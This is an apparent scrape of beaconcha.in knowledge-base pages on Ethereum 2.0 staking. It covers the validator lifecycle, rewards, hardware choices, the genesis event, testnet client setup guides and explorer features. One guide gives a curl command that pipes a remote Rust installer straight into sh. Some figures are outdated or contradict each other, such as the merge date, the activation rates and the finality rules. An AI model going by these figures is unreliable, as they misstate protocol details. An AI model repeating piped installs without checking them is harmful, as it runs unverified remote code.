state will be kept for around 7 hours. This offers security in case the ETH1 chain gets attacked. 2. Pending Waiting for activation on ETH2 Before validators enter the validator queue, they need to be voted in by other active validators. This occurs every 4 hours. Until 327680 active validators in the network, 4 validators can be activated per epoch. For every 65536 (=4 * 16384) active validator, the validator activation rate goes up by one. 5 validators per epoch requires 327680 active validators which translates to 1125 validators per day. 6 validators per epoch requires 393216 active validators which translates to 1350 validators per day. 7 validators per epoch requires 458752 active validators which translates to 1575 validators per day. 8 validators per epoch requires 524288 active validators which translates to 1800 validators per day. 9 validators per epoch requires 589824 active validators which translates to 2025 validators per day. 10 validators per epoch requires 655360 active validators which translates to 2200 validators per day. Amount of activations scales with the amount of active validators and the limit is the active validator set divided by 64.000 3. Active Validator Currently attesting and proposing blocks (=block proposer) . The validator will stay active until: its balance drops below 16 ETH (ejected). voluntary exit it gets slashed 4. Slashing Validator The Validator has been malicious and will be slashed and kicked out of the system A Penalty is a negative reward (e.g. for going offline). A Slashing is a large penalty ( 1/32 of balance at stake**)** and a forceful exit ... . - Justin Drake 5. Exiting Validator Ejected The validator balance fell below a threshold and was kicked out by the network Exited Voluntary exit, the withdrawal key holder has the ability to withdraw the current balance of the corresponding validator balance. Finalization In Ethereum 2.0 at least two third of the validators have to be honest , therefore if there are two competing Epochs and one third of the validators decide to be malicious, they will receive a penalty. Honest ones will be rewarded. In order to determine if an Epoch has been finalized, validators have to agree on the latest two epochs in a row (= justified) then all previous Epochs can be considered as finalized. Finality issues If there are less than 66.6% votes (=participation rate) in a specific epoch, the epoch cannot be justified. As mentioned in \" Finalization \", three justified epochs in a row are required to reach finality. As long as the chain cannot reach this state it has finality issues. During finality issues the validator (entry) queue will be halted and new validators will not be able to join the network, however, inactive validators with less than <16ETH balance will be kicked out of the network. This leads to more stability in the network and higher participation rate. Previous Overview Next Staking & Hardware Last modified 1yr ago", "labels": ["Documentation"]}, {"title": "Port Forwarding", "html_url": "https://kb.beaconcha.in/port-forwarding", "body": "Port Forwarding Simplified overview on how Port Forwarding works and why it is important for staking. Tbd Let's consider the following scenario You are running a validator on a local machine and use Geth as your Ethereum 1.0 node and Prysm for your Ethereum 2.0 setup. Previous Staking & Hardware Next Ethereum 2.0 Keys Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Rewards and Penalties", "html_url": "https://kb.beaconcha.in/rewards-and-penalties", "body": "Rewards and Penalties The journey of a validator balance A simplified overview of the most common validator rewards and penalties. Epoch A validator can propose one attestation and one block per epoch and depending on their properties the reward varies. Attestation reward Rewards and penalties are based on the correctness of Source Head Target Head, Source, target, can be either positive or negative, however the inclusion delay can just be positive. The Source has to be correct in order to get included. Base Reward The worst inclusion speed reward is base_reward * 1/32 * 7/8 with an inclusion distance of 32 and the best is base_reward * 1/1 * 7/8 with an inclusion distance of 1. Possible Attestation properties Common case scenarios Assumption: The participation rate is 100% 1. You vote correctly and gets included in the next slot: you get 31/8*base_reward 2. You miss head because you got a late block and it gets included in the next slot: 15/8*base_reward 3. You miss head and target cause you got late a block, you get -1/8* base_reward 4. You attest and vote correctly, but the next block is missed, you get 55/16 * base_reward 5. You attest correctly and get perfect inclusion distance, but you attested on a block that most people got late as in 2., you get ~7/8 * base_reward The last one is the most confusing one: When there is a late block where validators miss the head, the validator that misses the head earns more than the validator that votes correctly, as in 2. 15/8 > 7/8 Best possible reward 31/8 * base_reward Worst possible reward with an included attestation (\"Negative Reward\") -249/256 * base_reward Block reward Only valid attestations (correct source) can be included in a block and the rewards for a block proposal scale with the amount of included attestations . Theoretically, block proposers could include aggregated attestations from a parent block, but there is incentive to do so. Each included attestation in a block will be rewarded (if it is the first time that is included in a block) with base_reward/8 where 8 is the Proposer_Reward_Quotient There is no penalty for not proposing a block. A block proposer which includes slashing will be rewarded with the slashed_validators_effective_balance / 512 where 512 is the Whistleblower_reward_quotient Sources https://consensys.net/blog/codefi/rewards-and-penalties-on-ethereum-20-phase-0/ https://benjaminion.xyz/eth2-annotated-spec/phase0/beacon-chain/ Previous Attestation Next - Beaconcha.in Explorer Mobile App <> Node Monitoring Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Staking & Hardware", "html_url": "https://kb.beaconcha.in/staking-and-hardware", "body": "Staking & Hardware General The ideal set up, and best practice is to have a dedicated computer for staking. Try to limit additional processes running on your staking box. Especially if it is something that is connecting to the outside world. Use Linux! It's easy, I promise. For the foreseeable future Linux will receive better support from the client teams. It is light weight, stable, secure, and it doesn't force you to restart for updates every other day. You are locking up at least 32 ETH ($80,000 in Aug 2021) in this endeavour, until the Eth2 mainnet merge (expected Q1 2021). No one knows how much that ETH will be worth during that time period, but it makes sense to buy some good hardware to secure it. A battery back up is strongly recommended! Plug your modem and router in to it also. My ISP has generators to support emergency services communications, meaning the internet continues to work during a power outage as long as my equipment is powered. Your ISP may be the same. Raspberry Pi 4 4gb Price : $84.80 (including case, power supply, SD card, and heat sinks) Performance : While running a node and validator on a Raspberry Pi 4 seems doable now, there needs to be further testing done to ensure it can keep up when the beacon chain is struggling. Power Usage : Approximately 8 watts. This would cost about 76 cents a month to run at 13c/kWh. My opinion : I would not recommend purchasing a RPI4 for staking until further testing is done to confirm it is powerful enough to keep up with the beacon chain in a rough seas situation. Even if it were fast enough, I still cant help but feel that you would be better off with a, for lack of a better term real computer. Old laptop/desktop Price : Free! Well, kind of anyways. CPU : Going by Prysmatic 's recommended minimum requirement of an Intel i5-760 , a CPU with a passmark score above 2500 is necessary. However, their recommended specs include a CPU that scores 7075 . For staking on main net, I would strongly recommend a CPU that is at least in the 5000s or better . My staking computer scores 8290, and it sits at 30-40% usage consistently, with spikes to 100 on occasion. Memory : Unless you go with an extremely bare bones OS, 8gb is the minimum RAM I would recommend, and if you want to run some toys like Prometheus & Grafana to create a dashboard for monitoring, 16gb of ram would be a much better option . My staking machine typically sits at about 7.5-7.9gb used total which is too close for comfort to 8gb in my opinion. Storage : An SSD is required. Pretty much any SSD should work fine. Buying one with a high terabytes written spec will help with longevity. Caveats : Stability and uptime are essential to maximize your profits. If you are using an older desktop consider replacing the PSU and the fans. Buying a titanium or platinum rated PSU will help save on the monthly power bill as well. If you are planning on staking with an older laptop, consider that they have reduced capacity to deal with heat due to their form factor, and in rare cases, running while plugged in 24/7 can cause issues with the battery . If you do choose to stake with a laptop, I would recommend using one that far exceeds the CPU requirements as running a laptop at nearly full load 24/7 is not advisable. You will probably be fine, but generally speaking laptops are not designed with that in mind. New laptop If you are buying brand new, I do not see any value in paying the price premium for a portable form factor, screen, keyboard, and trackpad. Once you get your staking machine set up, you do not need any of these features, you can just remote into the staking machine from your daily driver computer. The low profile form factor will actually be a downside when taking thermal performance in to account. Laptops typically do not include an ethernet port now, which means you will be relying on wifi. Wifi is very reliable now, but you can't beat the simplicity and reliability of a cable. New prebuilt desktop Price: Probably $400-600. There are likely better deals out there than the one linked above. Performance: This will reliably and competently run nearly any amount of validator accounts. The CPU scores 6250 on passmark. It has a 512gb NVMe SSD, and 16gb of ram. Any other prebuilt desktop with similar specs will work just as well. Power Usage: Probably around 30 watts. That is $2.85 per month at 13c/kWh. My opinion: This is a great option. Also, it is 11\" x 10\" x 4\". Much smaller than the old fashioned desktop cases, and ATX mid tower cases most of us are probably familiar with. Custom built desktop I won't go too in-depth here because this is essentially the same as using a prebuilt desktop. However, building your own gives you the option of choosing a case you like the look of, and buying higher quality parts, and you know you aren't getting any weird proprietary parts that will be difficult to replace should they ever fail. Unfortunately with prebuilt's concessions are sometimes made with components like the PSU to assuage the accountants and boost margins. **** NUC / Mini PC / DApp Node **** Price: $678. Performance : The linked one weighs in at a mighty 8394 passmark score and has 16gb of ram and a 512gb SSD. Power usage: 20-25ish watts. Around $2 a month. My opinion: NUCs are super cute, and their small form factor gives them a very high wife approval factor. Unfortunately that does come with a bit of a price premium. I'm going to argue that you should buy a server below, but honestly this is probably a more realistic option for most people. Server One option , or a more modern option . You really need to look around for deals when it comes to this. Usedservers.com charges a premium for the convenience and customisation they offer. If you search through eBay, or even better your local classifieds you can often find some gear that someone paid a large pile of money to get for a few hundred bucks. Performance : Generally speaking, no matter what you buy, performance will not be an issue. The two options I linked above can be specced to the cheapest of what they offer and it will still be overkill. Power Usage: It's bad. My server runs around 100 watts, but it is pretty modern. If you get an older one, expect to be up around 150 watts. That's $10-14 a month. My opinion: This is my favourite option. Enterprise servers are jam packed with features, and are specifically designed to do exactly what we are trying to do. Run 24/7/365. They have redundant power supplies in case one breaks, they often have 2 CPUs, so in the unlikely event of one going bad, you can pop it out and restart with just one. They have built in RAID cards so you can have redundant storage. They have hot swappable drive trays, so if one of your drives goes bad, you don't even need to shut down. All of the components are high quality and built to last. You also get monitoring and maintenance tools that are not included in consumer gear like iDRAC and iLo. That's where that power usage graph I linked above came from. Neat right? I wouldn't necessarily recommend this option to someone running 1 validator , but if you are running several, the few extra dollars of overhead every month is worth the reliability and performance in my opinion. Avado It's a NUC, but expensive. The most expensive one at 1100 USD only rates in at 3349 on passmark. They have their own OS which might have a really great UX, I don't know, but it likely is not worth the price of admission. Dappnode is another option if you are looking for a custom built OS with an easy UX. Virtual Private Server Price: Anywhere from $20-40 a month. Performance: You can buy as much as you can afford. My opinion: If you live somewhere that is prone to natural disaster or has an unstable power grid or internet connection but still want to stake, this is a good option. If you do have stable power or internet, running your own hardware will be a cheaper and more profitable solution long term. You need to evaluate the pros/cons of this for your own situation. Remember that if one of the VPS providers goes down, it will mean all of the people using that VPS service to host will also go down, and the inactivity penalties will be much larger than if you have uncorrelated down time yourself. Source , written by Lamboshi Previous Glossary Next Port Forwarding Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "The Genesis Event", "html_url": "https://kb.beaconcha.in/the-genesis-event", "body": "The Genesis Event A visualisation of the Genesis Event on Ethereum 2.0 Keywords Deposit contract Seconds_Per_Eth1_Block = 14 seconds Eth1_Follow_Distance = 2048 blocks * 14 seconds Min_Genesis_Time = 1606824000 (12:00:00 pm UTC | Tuesday, December 1, 2020) Min_Genesis_Active_Validator_Count = 16,384 Genesis_Delay = 7 days Ethereum 2.0 Beacon-chain Genesis Event Conditions There are two conditions which have to get triggered to get the Ethereum 2.0 chain started! 1. The threshold of 16,384 validators needs to be hit 2. The ETH1 block (=Trigger block) which determines the genesis time for ETH2 cannot be earlier than min_genesis_time. Trigger ETH1 block = min_genesis_time - genesis_delay Scenario One The required amount of deposits ( Min_Genesis_Active_Validator_Count) to fulfil the first condition occurs very quickly once the deposit contract has been deployed and before min_genesis_time . Once the threshold of 16,384 deposits is met, the network will try to accomplish the second condition by trying to find the trigger block by calculating min_genesis_time - genesis_delay. The goal of the trigger block (min_genesis_time - genesis_delay) is that the chain can never start earlier than min_genesis_time . The second scenario will make this clearer. Scenario Two The required amount of deposits ( Min_Genesis_Active_Validator_Count) to fulfil the first condition occurs after min_genesis_time. In this case, the second condition is met first and the trigger block becomes whatever min_genesis_time was set. The trigger block (second condition) is achieved right after the deposit contract receives 16,384 validator deposits. Genesis time becomes Trigger-block-timestamp + genesis_delay . Sources: Ethereum 2.0 Spec The Genesis of a Beacon Chain Previous Ethereum 2.0 Keys Next Deposit Process Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Beacon Fuzzer", "html_url": "https://kb.beaconcha.in/archive/beacon-fuzzer", "body": "Beacon Fuzzer Use Sigma Prime's Beacon Fuzzer to automatically find bugs. Here are the articles in this section: Fuzzing on Windows Fuzzing on macOS Archive - Previous Medalla Testnet: Lighthouse Client - macOS Next Fuzzing on Windows Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Medalla Testnet: Lighthouse Client - macOS", "html_url": "https://kb.beaconcha.in/archive/beaconnode-and-validator-with-macos", "body": "Medalla Testnet: Lighthouse Client - macOS Altona Testnet Official Lighthouse docs Lighthouse Discord server Requirements: A synced Goerli node ( Guide till step 3.) 1. Step Installing Rust Open a terminal window and paste the following in: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh \"Current installation options\" Press \"1\" and confirm with Enter. \"Next time you log in this will be done automatically\" Close this terminal window and open a new one. 2. Downloading and building Lighthouse git clone https://github.com/sigp/lighthouse.git cd lighthouse and then run make Wait a few minutes Once the process is done it will look like the following 3. Find the binary file Open Finder and head over to ~/.cargo/bin/ Copy the Lighthouse file to a more convenient folder. 4. Start the beaconnode Make sure the goerli node (ETH1) is running as mentioned in the requirements . Drag and drop the Lighthouse file and add --testnet medalla beacon --eth1 --http --graffiti \"beaconcha.in<3\" 5. Create ETH2 Wallet Lighthouse allows you to create an ETH2 wallet and attach your validator keys. Open a new Terminal window, drag and drop the Lighthouse file and add account wallet create --name my-validators --passphrase-file my-validators.pass The 12 word mnemonic phrase can restore the ETH2 wallet - write the words down. The wallet is located in $HOME/lighthouse 6. Create ETH2 Keys Use the same Terminal window, drag and drop the Lighthouse file and add lighthouse account validator create --wallet-name my-validators --wallet-passphrase my-validators.pass --count 1 7. Depositing to Ethereum 2.0 First, find the deposit data of the newly created ETH2 Key , which is located in .lighthouse/validators/ There are two lighthouse folders, .lighthouse is a hidden folder. Enable hidden folders with CMD + Shift + . Open the eth1-deposit-data.rlp file with a text editor. Copy the 842 long text sequence and follow these steps . Medalla Deposit contract address: 0x07b39F4fDE4A38bACe212b546dAc87C58DfE3fDC The deposit will be recognised by the beacon-chain in 8.5 hours. 8. Starting the validator Open a new terminal window, drag and drop the Lighthouse file and add validator --auto-register In total there are three terminal windows running simultaneously! Track your validator performance. Archive - Previous Run a Goerli node (ETH1) & beaconnode (ETH2) Next - Archive Beacon Fuzzer Last modified 3yr ago", "labels": ["Documentation"]}, {"title": "Depositing to Ethereum 2.0", "html_url": "https://kb.beaconcha.in/archive/depositing-to-ethereum-2.0", "body": "Depositing to Ethereum 2.0 Warning The following steps occur on a Ethereum Testnet with Goerli Testnet-ETH and might be outdated for the Ethereum main-net launch. Requirements There are multiple wallets and possibilities, however, let's demonstrate the most common way for the average user. MyCrypto Prysm Client to create Ethereum 2.0 keys ( macOS or Windows ) at least 32 Goerli Testnet ETH (ask on Discord ) Create ETH 2.0 K eys For demonstration purposes the Prysm Client will be used to create Ethereum 2.0 keys, any other Ethereum 2.0 client would work as well. Create your own keys - on macOS or Windows with the prysm client Key generation These 842 characters are the Ethereum 2.0 validator identity . 0x22895118000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000120afd078c8e46733de1c116df653afef908cc7a809009b375ffab943f495974a700000000000000000000000000000000000000000000000000000000000000030a10010049908f68bdf86baaae2c4e1df7456f11f1f0124c25ebeeb7541ac34d6562782694d316c7a912259e2d7b4e59000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000040231464d41e1c646c708bd84fe5fd4dcc6fa2f4d9bfdfa64f40c974618c80000000000000000000000000000000000000000000000000000000000000060a4884293664737cb4860033c0150b91915ccbc9ab1337eae5b4ec70f38cddc64d2db5a450ccd667ae9ab7d0f2ae35cd40c97e3a086e57f77a489b7d73e0ad9532134906671a086dd369bd3e10b52cbc648bf352ee18aea6c7ec2fec11053aaa00x22895118000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000120afd078c8e46733de1c116df653afef908cc7a809009b375ffab943f495974a700000000000000000000000000000000000000000000000000000000000000030a10010049908f68bdf86baaae2c4e1df7456f11f1f0124c25ebeeb7541ac34d6562782694d316c7a912259e2d7b4e59000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000040231464d41e1c646c708bd84fe5fd4dcc6fa2f4d9bfdfa64f40c974618c80000000000000000000000000000000000000000000000000000000000000060a4884293664737cb4860033c0150b91915ccbc9ab1337eae5b4ec70f38cddc64d2db5a450ccd667ae9ab7d0f2ae35cd40c97e3a086e57f77a489b7d73e0ad9532134906671a086dd369bd3e10b52cbc648bf352ee18aea6c7ec2fec11053aaa0 These letters, the input data , have to be included into the transaction to the deposit contract. Depositing 1. Open MyCrypto and open your wallet and head over to Send Assets . 2. Advanced options Paste the 842 letters into the Data field 0x22895118000000000000000000... . 3. Recipient is the deposit contract Medalla Testnet : 0x07b39F4fDE4A38bACe212b546dAc87C58DfE3fDC 4. Amount Minimum of 1 ETH 5. Gas Limit 500,000 6. Send transaction 7. Track your deposit on the beaconcha.in explorer with your Ethereum 1.0 address Transaction Overview Guides - Previous Pyrmont Testnet: Prysm Client - Windows Next - Archive Run a Goerli node (ETH1) & beaconnode (ETH2) Last modified 3yr ago", "labels": ["Documentation"]}, {"title": "Run a Goerli node (ETH1) & beaconnode (ETH2)", "html_url": "https://kb.beaconcha.in/archive/eth1-infura", "body": "Run a Goerli node (ETH1) & beaconnode (ETH2) Run your own ETH1 and connect it to ETH2 General Ethereum 2.0 Testnets have been running for some time, and because the existing Ethereum 2.0 clients have always provided an Ethereum 1.0 node to users, misunderstandings arose. In order to run a validator, an Ethereum 1.0 node must run parallel to Ethereum 2.0 to stay fully decentralized! However, an Ethereum 1.0 node is not required if you do not want to stake. Without an Ethereum 1.0 node syncing Ethereum 2.0 blocks is still possible and also being a reliable peer for others in the network. Goerli-chain size is around 5GB. Connect to your local ETH1 node Step 1. Download Geth Step 2. Find the downloaded file and open a command prompt/terminal window Step 3. Syncing Goerli Drag and drop the geth file into the terminal window and add the following --goerli --datadir=\"$HOME/Goerli\" --rpc --rpcaddr=127.0.0.1 --rpcport=8545 The syncing-process takes about 30 minutes. Wait for this to complete. Once your Goerli node is synced, it should look like this and include the message: Imported new chain segment Step 4. Connect your beaconnode (ETH2) to Goerli (ETH1) While Goerli is in sync , drag and drop the prysm.sh (macos) /prysm.bat (windows) into the terminal window file and add: beacon-chain --datadir=$HOME/prysm --web3provider=ws://localhost:8546/ --http-web3provider=http://localhost:8545/ --datadir=$HOME/prysm Please adapt the path above to your existing beaconchain.db file. For simplicity reasons we will use $HOME/prysm. If the beaconnode successfully connects to the local Goerli node, the following message will appear Essential commands Goerli --goerli --datadir=\"$HOME/Goerli\" --rpc --rpcaddr=127.0.0.1 --rpcport=8545 --ws --wsaddr=127.0.0.1 --wsport=8546 Beaconnode --datadir=$HOME/prysm --web3provider=ws://localhost:8546/ --http-web3provider=http://localhost:8545/ Infura as an ETH 1.0 node 1. Sign up on Infura 2. Create a project with any name 3. Change Endpoints: Mainnet to Goerli That's it! Copy your Project ID URL and run the beacon-node with ./prysm.sh beacon-chain --http-web3provider= https://goerli.infura.io/v3/YOUR-PROJECT-ID Confirmation via beacon-node Archive - Previous Depositing to Ethereum 2.0 Next - Archive Medalla Testnet: Lighthouse Client - macOS Last modified 3yr ago", "labels": ["Documentation"]}, {"title": "OUTDATED: Prysm Client Guides", "html_url": "https://kb.beaconcha.in/archive/outdated-prysm-client-windows", "body": "OUTDATED: Prysm Client Guides Here are the articles in this section: Essential commands (macOS & Windows) macOS Prysm Client - Windows Previous Fuzzing on macOS Next Essential commands (macOS & Windows) Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "beaconcha.in notifications", "html_url": "https://kb.beaconcha.in/beaconcha.in-explorer/beaconcha.in-notifications", "body": "beaconcha.in notifications This article provides a tutorial on setting up and debugging notifications using beaconcha.in's web and mobile platforms. It's worth noting that the current notification center will undergo an upgrade in late 2023 to upgrade its user-friendliness. Enabling notifications via web 1. Head over to https://beaconcha.in/user/notifications and log in with your e-mail address. 2. Click on \"Notifications Channels\" and make sure the desired channels are active 3. Scroll down to the Validators table and add your validators. Once added you can select all and bulk edit the notifications by clicking Manage selected . 4. Enable the desired notification(s) and press Save . 5. Verify that the subscriptions are enabled 6. If a notification was triggered it will show up in the Most recent column 7. Done! You may have noticed that the Notification Center allows you to configure Push notifications for the mobile app. This is crucial since some users may not receive any push notifications if it is disabled. Mobile app 1. Download the app for iOS and Android here https://beaconcha.in/mobile 2. Create an account and log in with your e-mail address Note : If you added validators to your Notification center through https://beaconcha.in/user/notifications they will not appear in your mobile app automatically. If push notifications were enabled in the web notification center, the mobile app push the notifications through even if the validators are not visible in your app. This UX issue will be part of the improvements later this year. 3. Add validators to your mobile app dashboard 4. Head over to the settings and enable the desired notifications 5. Click the \"Sync\" button in the Validator section 6. Done! Verify that the notifications were added successfully by logging in at https://beaconcha.in/user/notifications and scrolling to the Validator table at the bottom of the page You may have noticed that the Notification Center allows you to configure Push notifications for the mobile app. This is crucial since some users may not receive any push notifications if it is disabled. Webhooks 1. Follow the steps as described above in \" Enabling notifications via web\" . 2. Double-check that webhooks are enabled 3. Add a webhook via https://beaconcha.in/user/webhooks 4. Enable the same notification types as on the notification center and enable \"discord\" if the notifications should be sent to a discord channel 5. Done Beaconcha.in Explorer - Previous Mobile App <> Node Monitoring Next - Beaconcha.in Explorer Block view Last modified 4mo ago", "labels": ["Documentation"]}, {"title": "Beaconcha.in Charts", "html_url": "https://kb.beaconcha.in/beaconcha.in-explorer/eth2-charts", "body": "Beaconcha.in Charts Overview of all charts Blocks Displays all the proposed, missed or oprhaned Blocks for a specific period of time. Validators Displays the amount of validators for each timestamp. Staked Ether Displays the total amount of staked Ether ( effective balance) . Validator Balance Displays the current average validator balance of all validators. Network Liveness Displays how far the last finalized Epoch compared to the Head Epoch took place. A minimum of two epochs is caused by how finalization works. The network is undergoing finality issues if the network liveness is more than two epochs. Participation Rate Displays the participation of validators in the chosen time period. Calculation: Participation rate = (number of attestations in last epoch) / (number of attesting validators) Average daily validator income Displays the average income of all validators per day starting off at the genisis block . Staking Rewards Displays the sum of all staking rewards and punishments of all validators on a specific day. Example in the picture below: 1471.15 ETH have been lost on Februar 7th. Stake Effectiveness Displays the measurement of the relation between effective balance validator and current balance validator of all validators . 100% means that the total locked ETH is actively being staked. Due to the fact that the effective balance cannot increase more than 32, but the current balance can , the Stake effectiveness decreases. Balance Distribution Displays the distribution of current balances of all validators for the current epoch. Example in the picture below: 5404 validators at 3.28ETH . Effective Balance Distribution Displays the distribution of effective balances of all validators . Example in the picture below: 2200 at have an effective balance of 3ETH. Income Distribution of the last 365 Days Displays the income distribution of all validators of the last 365 days. Example in the picture below: 38 validators have gained 0.020360794 ETH. Deposits Displays the amount of ETH deposited to ETH1 ( Success ), and how many of those transactions failed because of an invalid BLS signature (ETH1 failed) . ETH2 represents the successful deposits after their waiting time of ~7.5 hours . Beaconcha.in Explorer - Previous Block view Next - Beaconcha.in Explorer Optimal Inclusion Distance Last modified 3yr ago", "labels": ["Documentation"]}, {"title": "Block view", "html_url": "https://kb.beaconcha.in/beaconcha.in-explorer/ethereum-2.0-blocks", "body": "Block view Blocks 'n' roots This post is going to lay out data, Ethereum 2.0 explorers such as beaconcha.in visualise Overview Epoch , Slot , Status , Proposer are covered in the glossary Block root The hash-tree-root of the BeaconBlock . State root The hash-tree-root of the BeaconState . Signature The BLS signature obtained by using the BeaconState, BeaconBlock and private key. def get_block_signature(state: BeaconState, block: BeaconBlock, privkey: int) -> BLSSignature Randao Reveal TODO Grafitti A block proposer can include 32 byte long message to its block proposal. Eth 1 Data Received Eth1 Block headers and Deposit data Block Hash: The Hash of the received Eth1 Block. Deposit Count: Amount of validator deposits to the deposit contract in this block. Deposit Root: The root of the merkle tree of deposits. Attestations Amount of attestations included in this block by the block proposer. Deposits Amount of validator deposits which have been included in this block by the block proposer Voluntary Exits Amount of voluntary Exits which have been included in this block by the block proposer. Slashings Amount of slashings which have been included in this block by the block proposer. Votes Represents the total amount of votes in a specific block. In the example below there were 128 attestations. These attestations received a total of 2802 votes. The aggregation bit is an additional way of representing the votes. Attestations Slot Is the slot number to which the validator is attesting. The slot number points to the same block as the beacon-block-root. Committee Index Every epoch the total number of validators is split up in committees and one or more individual committees are responsible to attest to each slot. The committee Index is the identifier for this specific committee during a slot. Aggregation Bits Represents the aggregated attestation of all participating validators in this attestation. Each \"1\" bit is a successful attestation submitted by the validator. \"0\" bits visualise missed attestations. Validators Validators who have submitted their attestation and have been included by the block proposer. Beacon Block Root The beacon block root points to the block to which validators are attesting. The difference between the block number in which the attestation has been included, and the one the beacon block root is pointing to, causes the attestation inclusion delay. Source & Target These are two additional votes a validator has to submit. The source points to the latest justified epoch, and the target to the latest epoch boundary. Signature Beaconcha.in Explorer - Previous beaconcha.in notifications Next - Beaconcha.in Explorer Beaconcha.in Charts Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Mobile App <> Node Monitoring", "html_url": "https://kb.beaconcha.in/beaconcha.in-explorer/mobile-app-less-than-greater-than-beacon-node", "body": "Mobile App <> Node Monitoring A step by step tutorial on how to monitor your staking device & beaconnode on the beaconcha.in mobile app. General This is a free monitoring tool provided by beaconcha.in to enhance the solo staking experience. The user specifies the monitoring endpoint on its beacon & validator node. By using this endpoint, beaconcha.in will be allowed and is required to store the given data to display it in the beaconcha.in the mobile application. To protect user privacy, the IP address will never be stored. Requirements beaconcha.in Account beaconcha.in Mobile App Lighthouse v.1.4.0 or higher Prysm v1.3.10 or higher Nimbus v1.4.1 or higher Teku v22.3.0 or higher Lodestar v1.6.0 or higher Staking on Linux (No windows support by clients yet!) Please adjust the network on the beaconcha.in browser and mobile app accordingly. Both, the beaconcha.in explorer and the mobile app are open source! Lighthouse A step by step guide on the Prater Testnet. Please adjust the network for your own needs. 1. Open the Mobile App Tab and enter a name for your staking setup. Use the same worker name even if your beaconnode runs on a seperate machine than your validator node. __ __Copy the generated flag and paste it add it to your beacon & validator node __ If your beacon-node or Ethereum 1.0 node is not in sync yet, you will see some warning logs! 2. Open the beaconcha.in mobile app and login with your account under Preferences. Your staking device will appear under Machines ! Prysm 1. Head over to the beaconcha.in settings and open the prysm section: 2. Open a new Terminal and copy paste the commands 3. Make sure your Prysm client (beacon & validator) is already up and running. The exporter will now send the data to your mobile app! 4. Wait a few minutes and open the beaconcha.in mobile app and login with your account under Preferences. Your staking device will appear under Machines ! Nimbus 1. Head over to the beaconcha.in settings and open the nimbus section: 2. Add --metrics --metrics-port=8008 to your nimbus client! Otherwise the exporter will not be able to get any data from your client. 3. Wait a few minutes and open the beaconcha.in mobile app and login with your account under Preferences. Your staking device will appear under Machines ! Teku Add the following endpoint to your teku node --metrics-publish-endpoint https://beaconcha.in/api/v1/client/metrics?apikey=YOUR_API_KEY You can find your API Key here: https://beaconcha.in/user/settings#app Lodestar Add the following CLI flag to your Lodestar validator and beaconnode --monitoring.endpoint 'https://beaconcha.in/api/v1/client/metrics?apikey=YOUR_API_KEY' You can find your API Key in the account settings . Check out the Lodestar documentation about client monitoring for further details. Monitoring with Rocket Pool Works with Lighthouse, Lodestar, Teku and Nimbus only. **** Lighthouse, Lodestar and Teku Add Your beaconcha.in API key in Monitoring/Metrics (service config) **** Nimbus Nimbus does not expose every data, thus, some data such as validators are not visible in the app. Guide: https://gist.github.com/jshufro/89e32d417801bf3dfb02c32a983b63cf Previous Rewards and Penalties Next - Beaconcha.in Explorer beaconcha.in notifications Last modified 4mo ago", "labels": ["Documentation"]}, {"title": "Optimal Inclusion Distance", "html_url": "https://kb.beaconcha.in/beaconcha.in-explorer/optimal-inclusion-distance", "body": "Optimal Inclusion Distance The attestation for slot 156508 was included in slot 156510 but why is the inclusion distance 0? If were to use the formula from above and set the inclusion delay to 0, the rewards would be 0 for a proposed attestation. Missed blocks are not added to the inclusion distance, but since the attestant is not responsible for the block proposal, and to only warn the user about its faults (e.g. slow internet connection, power failure etc.), the beaconcha.in explorer displays the distance as 0. Beaconcha.in Explorer - Previous Beaconcha.in Charts Next - Guides Step by Step: How to join the Ethereum 2.0 Testnet Last modified 2yr ago", "labels": ["Documentation"]}, {"title": "Pyrmont Testnet: Prysm Client - Windows", "html_url": "https://kb.beaconcha.in/guides/pyrmont-windows", "body": "Pyrmont Testnet: Prysm Client - Windows A guide for non-technical users Disclaimer The following steps only apply for the Pyrmont Testnet and may be outdated in a few weeks as Ethereum 2.0 clients develop rapidly, however, we will try to keep these documents updated. There are multiple ways on how to get started, we will use the one which is the easiest as of now. Official Prysm docs Prysmatic labs discord server Official Pyrmont Launchpad Choosing Eth1 & Eth2 clients Head over to the Pyrmont launchpad Choose Geth as your Eth 1 client and in the next step choose Prysm as your Eth 2 client. Start Ethereum 1.0 Node 1. Create a folder named prysm in C:\\ 2. Download Geth and open a terminal window. 3. Double click the .exe geth-windows-amd64-x.x.xx-cc05b050 . Once the installation is complete there should be geth.exe in the directory chosen during the installation. 4. Drag and Drop the geth.exe file and add --datadir=\"C:\\prysm\" --goerli --http This terminal window needs to run in parallel to the Ethereum 2.0 node, which will be covered in the next steps. Wait for the Ethereum 1.0 node to be in sync. The logs will look like the following once the node is in sync Generate Key Pairs Choose the amount of validators you would like to run and Windows as the operating system. Each validator will cost 32 Goerli ETH. Request Goerli Eth from the r/ethstaker discord here or in the prysmatic labs discord here . Creating keys Download the eth2.0-deposit-cli Move the downloaded file into prysm . Open a Terminal window and drag&drop the deposit.exe file into the terminal as shown below. Follow the instructions to create your Ethereum 2.0 keys! Drag and drop the Eth2.0-deposit-cli file and add new-mnemonic --chain pyrmont WRITE DOWN THE GENERATED 24 WORD MNEMONIC PHRASE Let's go to the next page and upload our deposit-data-[timestamp].json file (located in the path shown in the terminal) , continue and deposit 32 goerli Eth . Downloading Prysm This is only required for the initial setup Open a Terminal window and run: 1. cd C:\\prysm changes the directory 2. curl https://raw.githubusercontent.com/prysmaticlabs/prysm/master/prysm.bat --output prysm.bat Downloads the prysm.bat file 3. reg add HKCU\\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 Changes some vizulations in the terminal window Importing validator keys Drag and drop the prysm.bat file and add validator accounts import --keys-dir= AND the path to your newly created keys . For this example the path is C:\\Users\\Inan\\validator_keys Which results prysm.bat validator accounts import --keys-dir=C:\\Users\\Inan\\validator_keys Enter a new wallet directory and a new password. In this example we chose C:\\prysm as the new wallet directory. Start the beacon node Open a new terminal 